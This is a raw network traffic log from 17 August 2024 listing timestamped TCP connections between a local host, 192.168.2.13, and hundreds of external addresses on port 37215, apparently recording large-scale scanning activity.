Aug 17, 2024 01:01:52.612178087 CEST	37215	55830	41.242.104.85	192.168.2.13
Aug 17, 2024 01:01:52.612190008 CEST	37215	41516	41.139.28.57	192.168.2.13
Aug 17, 2024 01:01:52.612201929 CEST	37215	60898	156.67.62.38	192.168.2.13
Aug 17, 2024 01:01:52.612215996 CEST	37215	33370	197.214.120.213	192.168.2.13
Aug 17, 2024 01:01:52.612231016 CEST	37215	51756	197.165.221.135	192.168.2.13
Aug 17, 2024 01:01:52.612242937 CEST	37215	48112	41.105.138.43	192.168.2.13
Aug 17, 2024 01:01:52.612256050 CEST	37215	49220	41.188.19.203	192.168.2.13
Aug 17, 2024 01:01:52.612267971 CEST	37215	59940	156.253.199.245	192.168.2.13
Aug 17, 2024 01:01:52.612279892 CEST	37215	53650	156.86.210.142	192.168.2.13
Aug 17, 2024 01:01:52.612292051 CEST	37215	50588	41.125.204.31	192.168.2.13
Aug 17, 2024 01:01:52.612308025 CEST	37215	55072	156.226.106.180	192.168.2.13
Aug 17, 2024 01:01:52.612323046 CEST	37215	57330	156.132.119.97	192.168.2.13
Aug 17, 2024 01:01:52.612334967 CEST	37215	58704	41.125.158.191	192.168.2.13
Aug 17, 2024 01:01:52.612349033 CEST	37215	48356	41.90.42.198	192.168.2.13
Aug 17, 2024 01:01:52.612374067 CEST	37215	58432	41.101.31.244	192.168.2.13
Aug 17, 2024 01:01:52.612387896 CEST	37215	51058	197.43.146.71	192.168.2.13
Aug 17, 2024 01:01:52.617341995 CEST	34782	37215	192.168.2.13	156.130.74.237
Aug 17, 2024 01:01:52.617341995 CEST	37710	37215	192.168.2.13	41.169.24.194
Aug 17, 2024 01:01:52.617357016 CEST	50276	37215	192.168.2.13	41.120.250.149
Aug 17, 2024 01:01:52.617357016 CEST	42620	37215	192.168.2.13	156.93.225.165
Aug 17, 2024 01:01:52.617357016 CEST	39320	37215	192.168.2.13	41.146.30.215
Aug 17, 2024 01:01:52.621349096 CEST	52612	37215	192.168.2.13	197.248.246.30
Aug 17, 2024 01:01:52.622416019 CEST	37215	34782	156.130.74.237	192.168.2.13
Aug 17, 2024 01:01:52.622428894 CEST	37215	37710	41.169.24.194	192.168.2.13
Aug 17, 2024 01:01:52.622440100 CEST	37215	50276	41.120.250.149	192.168.2.13
Aug 17, 2024 01:01:52.622689009 CEST	37215	42620	156.93.225.165	192.168.2.13
Aug 17, 2024 01:01:52.622700930 CEST	37215	39320	41.146.30.215	192.168.2.13
Aug 17, 2024 01:01:52.625349045 CEST	43466	37215	192.168.2.13	156.73.69.227
Aug 17, 2024 01:01:52.626254082 CEST	37215	52612	197.248.246.30	192.168.2.13
Aug 17, 2024 01:01:52.632071972 CEST	37215	46980	197.134.73.170	192.168.2.13
Aug 17, 2024 01:01:52.632101059 CEST	37215	59594	197.53.233.6	192.168.2.13
Aug 17, 2024 01:01:52.632114887 CEST	37215	45506	41.70.233.248	192.168.2.13
Aug 17, 2024 01:01:52.632128000 CEST	37215	35816	156.75.251.173	192.168.2.13
Aug 17, 2024 01:01:52.632141113 CEST	37215	39366	156.246.55.201	192.168.2.13
Aug 17, 2024 01:01:52.632153988 CEST	37215	48604	197.27.59.110	192.168.2.13
Aug 17, 2024 01:01:52.632194996 CEST	37215	45478	41.145.216.112	192.168.2.13
Aug 17, 2024 01:01:52.632208109 CEST	37215	41516	41.242.140.198	192.168.2.13
Aug 17, 2024 01:01:52.632220984 CEST	37215	48434	41.179.81.67	192.168.2.13
Aug 17, 2024 01:01:52.632235050 CEST	37215	35346	156.246.199.50	192.168.2.13
Aug 17, 2024 01:01:52.632247925 CEST	37215	32828	41.171.56.168	192.168.2.13
Aug 17, 2024 01:01:52.632270098 CEST	37215	41750	197.207.57.76	192.168.2.13
Aug 17, 2024 01:01:52.632282019 CEST	37215	39746	197.20.0.149	192.168.2.13
Aug 17, 2024 01:01:52.632292032 CEST	37215	43302	41.15.52.191	192.168.2.13
Aug 17, 2024 01:01:52.632303953 CEST	37215	47510	156.6.188.205	192.168.2.13
Aug 17, 2024 01:01:52.632317066 CEST	37215	44326	197.33.248.216	192.168.2.13
Aug 17, 2024 01:01:52.632328987 CEST	37215	50954	41.20.173.91	192.168.2.13
Aug 17, 2024 01:01:52.632342100 CEST	37215	42862	41.228.69.41	192.168.2.13
Aug 17, 2024 01:01:52.632354021 CEST	37215	38398	41.154.52.102	192.168.2.13
Aug 17, 2024 01:01:52.632366896 CEST	37215	56484	41.53.245.116	192.168.2.13
Aug 17, 2024 01:01:52.632380962 CEST	37215	53224	41.198.63.23	192.168.2.13
Aug 17, 2024 01:01:52.632395029 CEST	37215	43442	156.63.134.230	192.168.2.13
Aug 17, 2024 01:01:52.632407904 CEST	37215	38044	156.176.121.224	192.168.2.13
Aug 17, 2024 01:01:52.632420063 CEST	37215	46058	156.18.66.116	192.168.2.13
Aug 17, 2024 01:01:52.632432938 CEST	37215	59602	197.118.35.21	192.168.2.13
Aug 17, 2024 01:01:52.632446051 CEST	37215	58866	197.134.170.20	192.168.2.13
Aug 17, 2024 01:01:52.632474899 CEST	37215	36616	197.55.145.114	192.168.2.13
Aug 17, 2024 01:01:52.632519960 CEST	37215	37878	197.82.116.206	192.168.2.13
Aug 17, 2024 01:01:52.632534027 CEST	37215	47962	41.57.212.72	192.168.2.13
Aug 17, 2024 01:01:52.632544994 CEST	37215	33098	156.80.9.191	192.168.2.13
Aug 17, 2024 01:01:52.632558107 CEST	37215	45982	156.213.139.78	192.168.2.13
Aug 17, 2024 01:01:52.632570028 CEST	37215	48200	156.251.150.222	192.168.2.13
Aug 17, 2024 01:01:52.632585049 CEST	37215	57240	156.94.26.172	192.168.2.13
Aug 17, 2024 01:01:52.632597923 CEST	37215	60216	41.160.80.78	192.168.2.13
Aug 17, 2024 01:01:52.632610083 CEST	37215	59300	197.129.1.124	192.168.2.13
Aug 17, 2024 01:01:52.632622004 CEST	37215	50714	41.52.224.118	192.168.2.13
Aug 17, 2024 01:01:52.632636070 CEST	37215	52922	197.239.232.194	192.168.2.13
Aug 17, 2024 01:01:52.632648945 CEST	37215	58762	197.89.192.144	192.168.2.13
Aug 17, 2024 01:01:52.632662058 CEST	37215	56200	41.252.234.209	192.168.2.13
Aug 17, 2024 01:01:52.632674932 CEST	37215	46026	41.180.77.119	192.168.2.13
Aug 17, 2024 01:01:52.632688046 CEST	37215	44806	156.42.44.35	192.168.2.13
Aug 17, 2024 01:01:52.632699013 CEST	37215	45018	156.162.192.34	192.168.2.13
Aug 17, 2024 01:01:52.632714033 CEST	37215	52930	41.129.13.215	192.168.2.13
Aug 17, 2024 01:01:52.632725954 CEST	37215	42792	41.24.191.230	192.168.2.13
Aug 17, 2024 01:01:52.632740021 CEST	37215	52246	197.64.116.109	192.168.2.13
Aug 17, 2024 01:01:52.632759094 CEST	37215	59544	197.172.37.162	192.168.2.13
Aug 17, 2024 01:01:52.632780075 CEST	37215	46494	197.4.25.105	192.168.2.13
Aug 17, 2024 01:01:52.632797956 CEST	37215	37704	197.203.217.254	192.168.2.13
Aug 17, 2024 01:01:52.632821083 CEST	37215	59014	156.160.188.179	192.168.2.13
Aug 17, 2024 01:01:52.632834911 CEST	37215	38770	156.119.14.193	192.168.2.13
Aug 17, 2024 01:01:52.632848024 CEST	37215	51226	197.253.171.12	192.168.2.13
Aug 17, 2024 01:01:52.632862091 CEST	37215	37018	41.176.244.148	192.168.2.13
Aug 17, 2024 01:01:52.632874966 CEST	37215	56092	41.169.106.62	192.168.2.13
Aug 17, 2024 01:01:52.632889032 CEST	37215	42236	156.146.125.170	192.168.2.13
Aug 17, 2024 01:01:52.632901907 CEST	37215	39342	197.192.68.27	192.168.2.13
Aug 17, 2024 01:01:52.632914066 CEST	37215	46618	41.200.206.226	192.168.2.13
Aug 17, 2024 01:01:52.632927895 CEST	37215	56340	156.199.58.75	192.168.2.13
Aug 17, 2024 01:01:52.632940054 CEST	37215	50424	41.132.36.23	192.168.2.13
Aug 17, 2024 01:01:52.632951975 CEST	37215	60838	197.33.40.136	192.168.2.13
Aug 17, 2024 01:01:52.632963896 CEST	37215	44734	197.253.167.187	192.168.2.13
Aug 17, 2024 01:01:52.632976055 CEST	37215	48222	197.40.44.56	192.168.2.13
Aug 17, 2024 01:01:52.632988930 CEST	37215	47022	156.4.205.159	192.168.2.13
Aug 17, 2024 01:01:52.633002043 CEST	37215	43800	197.92.245.152	192.168.2.13
Aug 17, 2024 01:01:52.633032084 CEST	37215	43466	156.73.69.227	192.168.2.13
Aug 17, 2024 01:01:52.633349895 CEST	33424	37215	192.168.2.13	156.222.5.107
Aug 17, 2024 01:01:52.633349895 CEST	33546	37215	192.168.2.13	156.75.242.255
Aug 17, 2024 01:01:52.633362055 CEST	52436	37215	192.168.2.13	197.214.139.137
Aug 17, 2024 01:01:52.633362055 CEST	33132	37215	192.168.2.13	156.122.150.249
Aug 17, 2024 01:01:52.633362055 CEST	42944	37215	192.168.2.13	41.105.187.177
Aug 17, 2024 01:01:52.633363008 CEST	60898	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:52.633364916 CEST	44668	37215	192.168.2.13	197.159.159.96
Aug 17, 2024 01:01:52.633364916 CEST	34118	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:52.633395910 CEST	44078	37215	192.168.2.13	197.4.146.79
Aug 17, 2024 01:01:52.633397102 CEST	37116	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:52.633398056 CEST	57082	37215	192.168.2.13	156.211.231.190
Aug 17, 2024 01:01:52.633398056 CEST	45006	37215	192.168.2.13	41.219.110.69
Aug 17, 2024 01:01:52.633399010 CEST	44052	37215	192.168.2.13	197.48.31.41
Aug 17, 2024 01:01:52.633398056 CEST	56476	37215	192.168.2.13	156.37.116.205
Aug 17, 2024 01:01:52.633399010 CEST	59546	37215	192.168.2.13	156.41.196.1
Aug 17, 2024 01:01:52.633398056 CEST	57724	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:52.633399010 CEST	44400	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:52.633398056 CEST	40436	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:52.633398056 CEST	42652	37215	192.168.2.13	197.8.112.23
Aug 17, 2024 01:01:52.633436918 CEST	56708	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:52.633440971 CEST	53590	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:52.633436918 CEST	48766	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:52.633440971 CEST	57582	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:52.633443117 CEST	32826	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:52.633445978 CEST	48456	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:52.633445024 CEST	44124	37215	192.168.2.13	156.248.140.39
Aug 17, 2024 01:01:52.633443117 CEST	37362	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:52.633445024 CEST	49992	37215	192.168.2.13	156.76.37.32
Aug 17, 2024 01:01:52.633436918 CEST	51936	37215	192.168.2.13	41.107.6.35
Aug 17, 2024 01:01:52.633445978 CEST	54196	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:52.633443117 CEST	42866	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:52.633436918 CEST	51594	37215	192.168.2.13	156.80.128.187
Aug 17, 2024 01:01:52.633445024 CEST	43362	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:52.633446932 CEST	56182	37215	192.168.2.13	197.182.51.118
Aug 17, 2024 01:01:52.633436918 CEST	55328	37215	192.168.2.13	156.19.191.121
Aug 17, 2024 01:01:52.633445978 CEST	53344	37215	192.168.2.13	41.36.86.252
Aug 17, 2024 01:01:52.633444071 CEST	52660	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:52.633440971 CEST	58464	37215	192.168.2.13	41.143.146.230
Aug 17, 2024 01:01:52.633445024 CEST	36992	37215	192.168.2.13	156.144.162.99
Aug 17, 2024 01:01:52.633444071 CEST	37722	37215	192.168.2.13	41.13.61.27
Aug 17, 2024 01:01:52.633446932 CEST	35254	37215	192.168.2.13	197.247.114.223
Aug 17, 2024 01:01:52.633441925 CEST	45748	37215	192.168.2.13	41.177.53.203
Aug 17, 2024 01:01:52.633444071 CEST	38668	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:52.633444071 CEST	37982	37215	192.168.2.13	41.238.114.64
Aug 17, 2024 01:01:52.633444071 CEST	33476	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:52.633445024 CEST	46690	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:52.633445024 CEST	55684	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:52.633493900 CEST	53810	37215	192.168.2.13	197.243.143.226
Aug 17, 2024 01:01:52.633493900 CEST	56714	37215	192.168.2.13	156.15.58.220
Aug 17, 2024 01:01:52.633493900 CEST	57982	37215	192.168.2.13	197.248.146.23
Aug 17, 2024 01:01:52.633493900 CEST	53136	37215	192.168.2.13	156.226.203.71
Aug 17, 2024 01:01:52.633493900 CEST	32870	37215	192.168.2.13	41.97.32.77
Aug 17, 2024 01:01:52.633502007 CEST	60612	37215	192.168.2.13	197.157.245.225
Aug 17, 2024 01:01:52.633502007 CEST	39262	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:52.633502007 CEST	43422	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:52.633502007 CEST	55448	37215	192.168.2.13	156.52.107.115
Aug 17, 2024 01:01:52.633502007 CEST	51524	37215	192.168.2.13	156.91.48.41
Aug 17, 2024 01:01:52.633502007 CEST	60752	37215	192.168.2.13	156.172.52.245
Aug 17, 2024 01:01:52.633502007 CEST	43686	37215	192.168.2.13	156.233.44.208
Aug 17, 2024 01:01:52.633503914 CEST	44176	37215	192.168.2.13	41.41.8.19
Aug 17, 2024 01:01:52.633503914 CEST	60298	37215	192.168.2.13	156.36.217.61
Aug 17, 2024 01:01:52.633503914 CEST	38398	37215	192.168.2.13	156.79.85.244
Aug 17, 2024 01:01:52.633503914 CEST	44588	37215	192.168.2.13	41.30.160.38
Aug 17, 2024 01:01:52.633505106 CEST	59392	37215	192.168.2.13	197.124.155.73
Aug 17, 2024 01:01:52.633503914 CEST	36118	37215	192.168.2.13	41.9.108.65
Aug 17, 2024 01:01:52.633505106 CEST	47912	37215	192.168.2.13	197.252.125.147
Aug 17, 2024 01:01:52.633503914 CEST	60808	37215	192.168.2.13	41.32.132.80
Aug 17, 2024 01:01:52.633507013 CEST	56262	37215	192.168.2.13	197.94.154.138
Aug 17, 2024 01:01:52.633507013 CEST	58050	37215	192.168.2.13	41.18.249.87
Aug 17, 2024 01:01:52.633507967 CEST	43970	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:52.633507013 CEST	59084	37215	192.168.2.13	156.73.13.89
Aug 17, 2024 01:01:52.633507967 CEST	39100	37215	192.168.2.13	41.246.110.105
Aug 17, 2024 01:01:52.633507013 CEST	60556	37215	192.168.2.13	197.130.140.173
Aug 17, 2024 01:01:52.633507967 CEST	40656	37215	192.168.2.13	41.23.173.105
Aug 17, 2024 01:01:52.633507967 CEST	34906	37215	192.168.2.13	156.234.12.197
Aug 17, 2024 01:01:52.633507967 CEST	57738	37215	192.168.2.13	41.219.194.127
Aug 17, 2024 01:01:52.633516073 CEST	49538	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:52.633516073 CEST	58170	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:52.633516073 CEST	52768	37215	192.168.2.13	156.125.168.6
Aug 17, 2024 01:01:52.633516073 CEST	34902	37215	192.168.2.13	156.244.221.219
Aug 17, 2024 01:01:52.633516073 CEST	35192	37215	192.168.2.13	156.92.98.192
Aug 17, 2024 01:01:52.633516073 CEST	55172	37215	192.168.2.13	197.122.70.151
Aug 17, 2024 01:01:52.633516073 CEST	33518	37215	192.168.2.13	156.198.127.238
Aug 17, 2024 01:01:52.633516073 CEST	57090	37215	192.168.2.13	41.111.135.196
Aug 17, 2024 01:01:52.633549929 CEST	37784	37215	192.168.2.13	41.114.6.13
Aug 17, 2024 01:01:52.633549929 CEST	37124	37215	192.168.2.13	156.8.222.105
Aug 17, 2024 01:01:52.633549929 CEST	44070	37215	192.168.2.13	197.85.103.158
Aug 17, 2024 01:01:52.633552074 CEST	34498	37215	192.168.2.13	197.96.47.115
Aug 17, 2024 01:01:52.633552074 CEST	50606	37215	192.168.2.13	156.9.53.194
Aug 17, 2024 01:01:52.633552074 CEST	54434	37215	192.168.2.13	197.235.23.183
Aug 17, 2024 01:01:52.633553028 CEST	57254	37215	192.168.2.13	41.28.105.96
Aug 17, 2024 01:01:52.633552074 CEST	47918	37215	192.168.2.13	156.191.92.231
Aug 17, 2024 01:01:52.633553028 CEST	58950	37215	192.168.2.13	197.109.202.160
Aug 17, 2024 01:01:52.633552074 CEST	54876	37215	192.168.2.13	156.214.148.208
Aug 17, 2024 01:01:52.633553028 CEST	56806	37215	192.168.2.13	197.70.91.121
Aug 17, 2024 01:01:52.633552074 CEST	42094	37215	192.168.2.13	41.233.208.138
Aug 17, 2024 01:01:52.633553028 CEST	55572	37215	192.168.2.13	41.97.74.86
Aug 17, 2024 01:01:52.633552074 CEST	45750	37215	192.168.2.13	156.37.151.103
Aug 17, 2024 01:01:52.633553028 CEST	36928	37215	192.168.2.13	41.238.33.63
Aug 17, 2024 01:01:52.633553028 CEST	55062	37215	192.168.2.13	197.36.100.55
Aug 17, 2024 01:01:52.633553028 CEST	58062	37215	192.168.2.13	197.8.208.110
Aug 17, 2024 01:01:52.633552074 CEST	52714	37215	192.168.2.13	197.143.45.200
Aug 17, 2024 01:01:52.633562088 CEST	33776	37215	192.168.2.13	41.193.15.163
Aug 17, 2024 01:01:52.633552074 CEST	37544	37215	192.168.2.13	156.122.231.29
Aug 17, 2024 01:01:52.633553028 CEST	41420	37215	192.168.2.13	197.120.217.7
Aug 17, 2024 01:01:52.633562088 CEST	58830	37215	192.168.2.13	156.232.165.87
Aug 17, 2024 01:01:52.633553028 CEST	47716	37215	192.168.2.13	41.74.76.129
Aug 17, 2024 01:01:52.633558035 CEST	34512	37215	192.168.2.13	156.252.111.134
Aug 17, 2024 01:01:52.633558035 CEST	50514	37215	192.168.2.13	156.129.209.36
Aug 17, 2024 01:01:52.633558035 CEST	38802	37215	192.168.2.13	41.26.220.216
Aug 17, 2024 01:01:52.633572102 CEST	44236	37215	192.168.2.13	41.59.242.136
Aug 17, 2024 01:01:52.633572102 CEST	40936	37215	192.168.2.13	156.232.18.235
Aug 17, 2024 01:01:52.633572102 CEST	34764	37215	192.168.2.13	197.160.14.174
Aug 17, 2024 01:01:52.637346029 CEST	53238	37215	192.168.2.13	156.188.180.172
Aug 17, 2024 01:01:52.637362003 CEST	59350	37215	192.168.2.13	41.155.139.184
Aug 17, 2024 01:01:52.637366056 CEST	40006	37215	192.168.2.13	41.189.88.13
Aug 17, 2024 01:01:52.637372017 CEST	44342	37215	192.168.2.13	41.0.50.58
Aug 17, 2024 01:01:52.637372017 CEST	57756	37215	192.168.2.13	156.250.143.170
Aug 17, 2024 01:01:52.637377977 CEST	46596	37215	192.168.2.13	41.129.214.78
Aug 17, 2024 01:01:52.637381077 CEST	48698	37215	192.168.2.13	156.123.207.66
Aug 17, 2024 01:01:52.637389898 CEST	41446	37215	192.168.2.13	197.214.106.46
Aug 17, 2024 01:01:52.637391090 CEST	51882	37215	192.168.2.13	156.14.140.227
Aug 17, 2024 01:01:52.637393951 CEST	35868	37215	192.168.2.13	197.226.173.69
Aug 17, 2024 01:01:52.637396097 CEST	35338	37215	192.168.2.13	41.104.120.169
Aug 17, 2024 01:01:52.638243914 CEST	37215	33424	156.222.5.107	192.168.2.13
Aug 17, 2024 01:01:52.638257980 CEST	37215	33546	156.75.242.255	192.168.2.13
Aug 17, 2024 01:01:52.638271093 CEST	37215	52436	197.214.139.137	192.168.2.13
Aug 17, 2024 01:01:52.638283014 CEST	37215	33132	156.122.150.249	192.168.2.13
Aug 17, 2024 01:01:52.638428926 CEST	37215	60898	156.105.254.196	192.168.2.13
Aug 17, 2024 01:01:52.638442039 CEST	37215	42944	41.105.187.177	192.168.2.13
Aug 17, 2024 01:01:52.638696909 CEST	37215	44668	197.159.159.96	192.168.2.13
Aug 17, 2024 01:01:52.638710022 CEST	37215	34118	41.233.122.47	192.168.2.13
Aug 17, 2024 01:01:52.638730049 CEST	37215	37116	197.93.59.225	192.168.2.13
Aug 17, 2024 01:01:52.638746023 CEST	37215	44078	197.4.146.79	192.168.2.13
Aug 17, 2024 01:01:52.638760090 CEST	37215	44052	197.48.31.41	192.168.2.13
Aug 17, 2024 01:01:52.638772011 CEST	37215	59546	156.41.196.1	192.168.2.13
Aug 17, 2024 01:01:52.638786077 CEST	37215	44400	197.36.122.19	192.168.2.13
Aug 17, 2024 01:01:52.638801098 CEST	37215	57082	156.211.231.190	192.168.2.13
Aug 17, 2024 01:01:52.638818026 CEST	37215	45006	41.219.110.69	192.168.2.13
Aug 17, 2024 01:01:52.638830900 CEST	37215	56476	156.37.116.205	192.168.2.13
Aug 17, 2024 01:01:52.638844013 CEST	37215	57724	197.93.165.158	192.168.2.13
Aug 17, 2024 01:01:52.638855934 CEST	37215	40436	156.81.112.77	192.168.2.13
Aug 17, 2024 01:01:52.639931917 CEST	37215	44674	41.30.59.125	192.168.2.13
Aug 17, 2024 01:01:52.639945984 CEST	37215	48212	41.7.76.224	192.168.2.13
Aug 17, 2024 01:01:52.639955997 CEST	37215	42230	197.152.136.36	192.168.2.13
Aug 17, 2024 01:01:52.639969110 CEST	37215	60630	156.81.191.67	192.168.2.13
Aug 17, 2024 01:01:52.639981031 CEST	37215	33658	41.164.165.147	192.168.2.13
Aug 17, 2024 01:01:52.639991045 CEST	37215	53570	197.117.32.112	192.168.2.13
Aug 17, 2024 01:01:52.640003920 CEST	37215	60680	156.155.175.224	192.168.2.13
Aug 17, 2024 01:01:52.640033007 CEST	37215	55318	41.242.104.85	192.168.2.13
Aug 17, 2024 01:01:52.640045881 CEST	37215	41004	41.139.28.57	192.168.2.13
Aug 17, 2024 01:01:52.640074015 CEST	37215	32858	197.214.120.213	192.168.2.13
Aug 17, 2024 01:01:52.640085936 CEST	37215	60386	156.67.62.38	192.168.2.13
Aug 17, 2024 01:01:52.640095949 CEST	37215	51244	197.165.221.135	192.168.2.13
Aug 17, 2024 01:01:52.640106916 CEST	37215	47600	41.105.138.43	192.168.2.13
Aug 17, 2024 01:01:52.640119076 CEST	37215	48708	41.188.19.203	192.168.2.13
Aug 17, 2024 01:01:52.640131950 CEST	37215	59428	156.253.199.245	192.168.2.13
Aug 17, 2024 01:01:52.640146971 CEST	37215	53138	156.86.210.142	192.168.2.13
Aug 17, 2024 01:01:52.640172005 CEST	37215	50076	41.125.204.31	192.168.2.13
Aug 17, 2024 01:01:52.640183926 CEST	37215	56818	156.132.119.97	192.168.2.13
Aug 17, 2024 01:01:52.640196085 CEST	37215	54560	156.226.106.180	192.168.2.13
Aug 17, 2024 01:01:52.640208960 CEST	37215	58192	41.125.158.191	192.168.2.13
Aug 17, 2024 01:01:52.640222073 CEST	37215	47844	41.90.42.198	192.168.2.13
Aug 17, 2024 01:01:52.640235901 CEST	37215	57920	41.101.31.244	192.168.2.13
Aug 17, 2024 01:01:52.640249014 CEST	37215	50546	197.43.146.71	192.168.2.13
Aug 17, 2024 01:01:52.640259981 CEST	37215	46730	156.159.254.214	192.168.2.13
Aug 17, 2024 01:01:52.640273094 CEST	37215	45892	156.168.155.198	192.168.2.13
Aug 17, 2024 01:01:52.640285969 CEST	37215	40118	41.255.147.131	192.168.2.13
Aug 17, 2024 01:01:52.640297890 CEST	37215	35452	156.51.154.23	192.168.2.13
Aug 17, 2024 01:01:52.640306950 CEST	37215	46172	41.249.45.71	192.168.2.13
Aug 17, 2024 01:01:52.640317917 CEST	37215	37792	197.4.152.147	192.168.2.13
Aug 17, 2024 01:01:52.640342951 CEST	37215	38430	197.137.80.101	192.168.2.13
Aug 17, 2024 01:01:52.640355110 CEST	37215	36578	41.47.131.147	192.168.2.13
Aug 17, 2024 01:01:52.640364885 CEST	37215	41756	156.213.21.26	192.168.2.13
Aug 17, 2024 01:01:52.640377045 CEST	37215	58558	197.198.215.67	192.168.2.13
Aug 17, 2024 01:01:52.640396118 CEST	37215	36218	156.119.152.125	192.168.2.13
Aug 17, 2024 01:01:52.640405893 CEST	37215	45718	197.99.80.147	192.168.2.13
Aug 17, 2024 01:01:52.640415907 CEST	37215	41986	41.126.153.128	192.168.2.13
Aug 17, 2024 01:01:52.640427113 CEST	37215	57568	41.212.158.195	192.168.2.13
Aug 17, 2024 01:01:52.640438080 CEST	37215	58658	156.68.188.163	192.168.2.13
Aug 17, 2024 01:01:52.640456915 CEST	37215	53210	156.165.216.175	192.168.2.13
Aug 17, 2024 01:01:52.640467882 CEST	37215	59504	156.102.86.247	192.168.2.13
Aug 17, 2024 01:01:52.640477896 CEST	37215	39812	197.82.171.187	192.168.2.13
Aug 17, 2024 01:01:52.640513897 CEST	37215	34680	41.219.47.145	192.168.2.13
Aug 17, 2024 01:01:52.640523911 CEST	37215	57176	197.86.231.106	192.168.2.13
Aug 17, 2024 01:01:52.640537024 CEST	37215	49320	41.245.208.210	192.168.2.13
Aug 17, 2024 01:01:52.640547037 CEST	37215	43454	156.221.71.103	192.168.2.13
Aug 17, 2024 01:01:52.640557051 CEST	37215	57612	41.86.255.186	192.168.2.13
Aug 17, 2024 01:01:52.640568018 CEST	37215	38220	197.46.46.122	192.168.2.13
Aug 17, 2024 01:01:52.640578032 CEST	37215	53592	41.65.65.28	192.168.2.13
Aug 17, 2024 01:01:52.640588045 CEST	37215	51860	197.251.81.12	192.168.2.13
Aug 17, 2024 01:01:52.640597105 CEST	37215	52016	156.174.216.111	192.168.2.13
Aug 17, 2024 01:01:52.640619993 CEST	37215	34628	41.203.43.145	192.168.2.13
Aug 17, 2024 01:01:52.640633106 CEST	37215	55620	197.99.101.55	192.168.2.13
Aug 17, 2024 01:01:52.640644073 CEST	37215	34708	156.30.136.95	192.168.2.13
Aug 17, 2024 01:01:52.640652895 CEST	37215	34724	41.69.178.154	192.168.2.13
Aug 17, 2024 01:01:52.640664101 CEST	37215	45326	41.224.16.145	192.168.2.13
Aug 17, 2024 01:01:52.640674114 CEST	37215	50628	156.211.146.152	192.168.2.13
Aug 17, 2024 01:01:52.640685081 CEST	37215	54172	197.169.43.8	192.168.2.13
Aug 17, 2024 01:01:52.640695095 CEST	37215	39070	41.170.171.164	192.168.2.13
Aug 17, 2024 01:01:52.640710115 CEST	37215	38140	41.65.91.127	192.168.2.13
Aug 17, 2024 01:01:52.640721083 CEST	37215	59352	156.108.21.125	192.168.2.13
Aug 17, 2024 01:01:52.640731096 CEST	37215	57260	197.123.24.112	192.168.2.13
Aug 17, 2024 01:01:52.640741110 CEST	37215	40042	197.146.176.2	192.168.2.13
Aug 17, 2024 01:01:52.640749931 CEST	37215	45960	156.34.243.228	192.168.2.13
Aug 17, 2024 01:01:52.640763044 CEST	37215	45872	156.125.191.198	192.168.2.13
Aug 17, 2024 01:01:52.640775919 CEST	37215	56156	41.66.17.204	192.168.2.13
Aug 17, 2024 01:01:52.640788078 CEST	37215	58106	197.6.31.21	192.168.2.13
Aug 17, 2024 01:01:52.640799999 CEST	37215	46268	197.191.114.215	192.168.2.13
Aug 17, 2024 01:01:52.640810966 CEST	37215	46340	41.19.24.167	192.168.2.13
Aug 17, 2024 01:01:52.640824080 CEST	37215	57458	156.73.242.6	192.168.2.13
Aug 17, 2024 01:01:52.640829086 CEST	37215	42732	156.129.124.119	192.168.2.13
Aug 17, 2024 01:01:52.640839100 CEST	37215	55598	156.13.184.139	192.168.2.13
Aug 17, 2024 01:01:52.640852928 CEST	37215	58038	197.19.137.9	192.168.2.13
Aug 17, 2024 01:01:52.640872002 CEST	37215	58540	41.118.68.121	192.168.2.13
Aug 17, 2024 01:01:52.640891075 CEST	37215	55838	156.254.254.127	192.168.2.13
Aug 17, 2024 01:01:52.640902996 CEST	37215	35316	156.26.77.86	192.168.2.13
Aug 17, 2024 01:01:52.640917063 CEST	37215	47644	197.198.123.23	192.168.2.13
Aug 17, 2024 01:01:52.640929937 CEST	37215	51218	156.133.162.89	192.168.2.13
Aug 17, 2024 01:01:52.640944958 CEST	37215	55554	41.100.15.226	192.168.2.13
Aug 17, 2024 01:01:52.640958071 CEST	37215	58630	41.59.232.105	192.168.2.13
Aug 17, 2024 01:01:52.640970945 CEST	37215	36230	41.249.27.47	192.168.2.13
Aug 17, 2024 01:01:52.640984058 CEST	37215	39720	156.20.56.208	192.168.2.13
Aug 17, 2024 01:01:52.640996933 CEST	37215	56676	41.255.127.91	192.168.2.13
Aug 17, 2024 01:01:52.641009092 CEST	37215	40090	156.77.26.3	192.168.2.13
Aug 17, 2024 01:01:52.641021967 CEST	37215	35208	156.109.46.155	192.168.2.13
Aug 17, 2024 01:01:52.641032934 CEST	37215	53138	156.240.164.252	192.168.2.13
Aug 17, 2024 01:01:52.641046047 CEST	37215	51418	156.66.41.51	192.168.2.13
Aug 17, 2024 01:01:52.641060114 CEST	37215	54068	41.108.200.158	192.168.2.13
Aug 17, 2024 01:01:52.641072989 CEST	37215	56096	197.101.32.110	192.168.2.13
Aug 17, 2024 01:01:52.641086102 CEST	37215	56096	156.247.59.73	192.168.2.13
Aug 17, 2024 01:01:52.641099930 CEST	37215	56170	197.178.25.54	192.168.2.13
Aug 17, 2024 01:01:52.641113043 CEST	37215	43396	41.47.130.185	192.168.2.13
